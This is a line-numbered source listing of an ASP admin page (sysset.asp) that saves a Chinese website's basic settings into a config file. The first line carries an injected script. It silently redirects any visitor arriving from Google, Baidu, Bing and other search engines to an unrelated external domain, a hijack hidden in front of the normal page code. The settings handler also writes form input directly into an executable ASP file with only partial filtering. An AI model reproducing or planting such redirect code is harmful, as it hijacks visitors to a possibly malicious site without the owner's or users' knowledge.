d:\wwwroot\wuchunhua\admin\sysset.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="../setup.asp" -->
002: <%if session("china_admin")="" then
003: response.redirect "login.asp"
004: end if%
>
005: <%
006: action =trim(Request("action"))
007: Function Content(str)
008:   str = Replace(str, ">", "&gt;")
009:   str = Replace(str, "<", "")
010:   str = Replace(str, "'", "’")
011:   str = Replace(str, "%", "")
012:    str = Replace(str, """", "“")
013:   Content = str
014: end function
015: if action="ok" then
016:      webname = Content(replace(trim(Request.form("webname")),"'","’"))
017:     webtitle = Content(replace(trim(Request.form("webtitle")),"'","’"))
018:     webdescription = Content(replace(trim(Request.form("webdescription")),"'","’"))
019:     webkeywords = Content(replace(trim(Request.form("webkeywords")),"'","’"))
020:     webguolv = Content(replace(trim(Request.form("webguolv")),"'","’"))
021:     chinalogo = Content(replace(trim(Request.form("chinalogo")),"'","’"))
022:     weblink = Content(replace(trim(Request.form("weblink")),"'","’"))
023:     webemail = Content(replace(trim(Request.form("webemail")),"'","’"))
024:     webqh = Content(replace(trim(Request.form("webqh")),"'","’"))
025:     webtel = Content(replace(trim(Request.form("webtel")),"'","’"))
026:     websj = Content(replace(trim(Request.form("websj")),"'","’") )
027:     webqq = Content(replace(trim(Request.form("webqq")),"'","’"))
028:     qqonline = Content(replace(trim(Request.form("qqonline")),"'","’"))
029:     webicp = Content(replace(trim(Request.form("webicp")),"'","’"))
030:     webhy = Content(replace(trim(Request.form("webhy")),"'","’"))
031:     webinfo = Content(replace(trim(Request.form("webinfo")),"'","’"))
032:     webcardid = Content(replace(trim(Request.form("webcardid")),"'","’") )
033:     webpic = Content(replace(trim(Request.form("webpic")),"'","’"))
034:     webhot = Content(replace(trim(Request.form("webhot")),"'","’"))
035:     switch_onlingQQ = Content(replace(trim(Request.form("switch_onlingQQ")),"'","’"))
036:   
037:    voteincdir = server.mappath("../setup.asp")
038:    Const ForReading =1, ForWriting = 2
039:    set fs = CreateObject("Scripting.FileSystemObject")
040:    set ts = fs.OpenTextFile(voteincdir,ForWriting, True)
041:    ts.Write ""
042:    ts.Write "<"
043:    ts.Write "%"& vbCrLf
044:    ts.Write " webname= "&""""&webname&""""& vbCrLf
045:    ts.Write " webtitle= "&""""&webtitle&""""& vbCrLf
046:    ts.Write " webdescription= "&""""&webdescription&""""& vbCrLf
047:    ts.Write " webkeywords= "&""""&webkeywords&""""& vbCrLf
048:    ts.Write " webguolv= "&""""&webguolv&""""& vbCrLf
049:    ts.Write " chinalogo= "&""""&chinalogo&""""& vbCrLf
050:    ts.Write " weblink= "&""""&weblink&""""& vbCrLf
051:    ts.Write " webemail= "&""""&webemail&""""& vbCrLf
052:    ts.Write " webqh= "&""""&webqh&""""& vbCrLf
053:    ts.Write " webtel= "&""""&webtel&""""& vbCrLf
054:    ts.Write " websj= "&""""&websj&""""& vbCrLf
055:    ts.Write " webqq= "&""""&webqq&""""& vbCrLf
056:    ts.Write " qqonline= "&""""&qqonline&""""& vbCrLf
057:    ts.Write " webicp= "&""""&webicp&""""& vbCrLf  
058:    ts.Write " webhy= "&""""&webhy&""""& vbCrLf  
059:    ts.Write " webinfo= "&""""&webinfo&""""& vbCrLf  
060:    ts.Write " webcardid= "&""""&webcardid&""""& vbCrLf
061:    ts.Write " webpic= "&""""&webpic&""""& vbCrLf
062:     ts.Write " webhot= "&""""&webhot&""""& vbCrLf
063:     ts.Write " switch_onlingQQ= "&""""&switch_onlingQQ&""""& vbCrLf
064:    ts.Write "%"
065:    ts.Write ">"
066:    ts.close
067:     response.redirect "ok.asp"
068: end if
069: %
>
070: <html>
071: <head>
072: <link rel="stylesheet" type="text/css" href="style.css">
073: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
074: <meta name="GENERATOR" content="Microsoft FrontPage 6.0">
075: <meta name="ProgId" content="FrontPage.Editor.Document">
076: <title>系统设置</title>
077: </head>
078: <body background="images/background.gif">                                                                
079:   <table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
080:     <tr>
081:       <td height="20" bgcolor="#799AE1" align="center"><font color="#FFFFFF" style="font-size:14px">系 统 基 本 设 置 管 理</font></td>
082:     </tr>
083:     <tr>
084:       <td bgcolor="#FFFFFF"> <br>
085:             <table width="98%" border="0"  align=center cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
086:   <form name="form1" method="post" action="sysset.asp?action=ok">
087:     <tr bgcolor="#FFFFFF">
088:       <td width="27%" height="26"> <div align="right">网站名称:
089:         </div></td>
090:       <td width="73%"> <input type="text" name="webname" class="button1" size="40" value="<%=webname%>">
091:       </td>
092:     </tr>
093:     <tr bgcolor="#FFFFFF">
094:       <td height="26" align=left> <div align="right">标题显示:
095:         </div></td>
096:       <td align=left width="73%"> <input type="text" name="webtitle" class="button1" size="40" value="<%=webtitle%>">
097:       </td>
098:     </tr>
099:     <tr bgcolor="#FFFFFF">
100:       <td height="26" align=left> <div align="right">网站说明:
101:         </div></td>
102:       <td align=left width="73%"> <input type="text" name="webdescription" class="button1" size="40" value="<%=webdescription%>">
103:       </td>
104:     </tr>
105:    <tr bgcolor="#FFFFFF">
106:       <td height="26" align=left> <div align="right">搜索关键词:
107:         </div></td>
108:       <td align=left width="73%"> <input type="text" name="webkeywords" class="button1" size="40" value="<%=webkeywords%>">
109:       </td>
110:     </tr>
111:    <tr bgcolor="#FFFFFF">
112:       <td height="26" align=left> <div align="right">过滤非法词语:
113:         </div></td>
114:       <td align=left width="73%"> <input type="text" name="webguolv" class="button1" size="40" value="<%=webguolv%>">
115:       </td>
116:     </tr>
117:    <tr bgcolor="#FFFFFF">
118:       <td height="26" align=left>
119:       <p align="right">LOGO:</td>
120:       <td align=left width="73%"> <input type="text" name="chinalogo" class="button1" size="40" value="<%=chinalogo%>">
121:       <font color="#FF0000">请填写LOGO的地址</font></td>
122:     </tr>
123:     <tr bgcolor="#FFFFFF">
124:       <td height="26" align=left> <div align="right">网站地址:
125:         </div></td>
126:       <td align=left width="73%"> <input type="text" name="weblink" class="button1" size="40" value="<%=weblink%>">
127:       </td>
128:     </tr>
129:     <tr bgcolor="#FFFFFF">
130:       <td height="26" align=left> <div align="right">邮件地址:
131:         </div></td>
132:       <td align=left width="73%"> <input type="text" name="webemail" class="button1" size="40" value="<%=webemail%>">
133:       </td>
134:     </tr>
135:     <tr bgcolor="#FFFFFF">
136:       <td height="26" align=left>
137:               <div align="right">联系电话: </div>
138:             </td>
139:       <td align=left width="73%"> <input type="text" name="webqh" class="button1" size="40" value="<%=webqh%>">      </td>
140:     </tr>
141:     <tr bgcolor="#FFFFFF">
142:       <td height="26" align=left>
143:               <div align="right">联系地址: </div>
144:             </td>
145:       <td align=left width="73%"> <input type="text" name="webtel" class="button1" size="40" value="<%=webtel%>">      </td>
146:     </tr>
147:     <tr bgcolor="#FFFFFF">
148:       <td height="26" align=left> <div align="right">联系手机:
149:         </div></td>
150:       <td align=left width="73%"> <input type="text" name="websj" class="button1" size="40" value="<%=websj%>">      </td>
151:     </tr>
152:     <tr bgcolor="#FFFFFF">
153:       <td height="26" align=left> <div align="right">联系QQ:
154:         </div></td>
155:       <td align=left width="73%"> <input type="text" name="webqq" class="button1" size="40" value="<%=webqq%>">      </td>
156:     </tr>
157:     <tr bgcolor="#FFFFFF">
158:       <td height="26" align=left>
159:       <p align="right">在线QQ:</td>
160:       <td align=left width="73%"> <input type="text" name="qqonline" class="button1" size="40" value="<%=qqonline%>">
161:       <font color="#FF0000">多个QQ号,请用&quot;,&quot;逗号分开</font></td>
162:     </tr>
163:     <tr bgcolor="#FFFFFF">
164:       <td height="26" align=left> <div align="right">ICP备案号:
165:         </div></td>
166:       <td align=left width="73%"> <input type="text" name="webicp" class="button1" size="40" value="<%=webicp%>">      </td>
167:     </tr>
168:    <tr bgcolor="#FFFFFF">
169:       <td height="26" align=left> <div align="right">会员审核:
170:         </div></td>
171:       <td align=left width="73%"><input type="radio" value="0" name="webhy" <%if ""&webhy&""="0" then%>checked<%end if%>>
172:               否&nbsp;
173:               <input type="radio" value="1" name="webhy" <%if ""&webhy&""="1" then%>checked<%end if%>>
174:             是      </td>
175:     </tr>
176:    <tr bgcolor="#FFFFFF">
177:       <td height="26" align=left> <div align="right">信息审核:
178:         </div></td>
179:       <td align=left width="73%"><input type="radio" value="0" name="webinfo" <%if ""&webinfo&""="0" then%>checked<%end if%>>
180:               否&nbsp;
181:               <input type="radio" value="1" name="webinfo" <%if ""&webinfo&""="1" then%>checked<%end if%>>
182:             是      </td>
183:     </tr>
184:    <tr bgcolor="#FFFFFF">
185:       <td height="26" align=left> <div align="right">身份证号码验证:
186:         </div></td>
187:       <td align=left width="73%"><input type="radio" value="0" name="webcardid" <%if ""&webcardid&""="0" then%>checked<%end if%>>
188:               否&nbsp;
189:               <input type="radio" value="1" name="webcardid" <%if ""&webcardid&""="1" then%>checked<%end if%>>
190:             是      </td>
191:     </tr>
192:     <tr bgcolor="#FFFFFF">
193:       <td height="26" align=left> <div align="right">图片上传:
194:         </div></td>
195:       <td align=left width="73%"><input type="radio" value="0" name="webpic" <%if ""&webpic&""="0" then%>checked<%end if%>>
196:               否&nbsp;
197:               <input type="radio" value="1" name="webpic" <%if ""&webpic&""="1" then%>checked<%end if%>>
198:             是 (选“否”则调用远程图片)     </td>
199:     </tr>
200:     <tr bgcolor="#FFFFFF">
201:       <td height="26" align=left> <div align="right">热点信息是否滚动:
202:         </div></td>
203:       <td align=left width="73%"><input type="radio" value="0" name="webhot" <%if ""&webhot&""="0" then%>checked<%end if%>>
204:               否&nbsp;
205:               <input type="radio" value="1" name="webhot" <%if ""&webhot&""="1" then%>checked<%end if%>>
206:             是      </td>
207:     </tr>
208:     <tr bgcolor="#FFFFFF">
209:       <td height="26" align=left>
210:       <p align="right">在线QQ是否打开:</td>
211:       <td align=left width="73%">
212:       <input type="radio" value="0" name="switch_onlingQQ" <%if ""&switch_onlingQQ&""="0" then%>checked<%end if%> checked>
213:               否&nbsp;
214:               <input type="radio" value="1" name="switch_onlingQQ" <%if ""&switch_onlingQQ&""="1" then%>checked<%end if%>>
215:             是      </td>
216:     </tr><%if 1=2 then%>
217:     <%end if%>
218:     <tr bgcolor="#FFFFFF">
219:       <td height="30" align=left></td>
220:       <td height="30" align=left><input type="submit" name="Submit" value="  设 置  "></td>
221:     </tr>
222:   </form>
223: </table>
224:           <br>
225:       </td>
226:     </tr>
227:   </table>
228: </body>                    
229:                     
230: </html>                    
231:
232: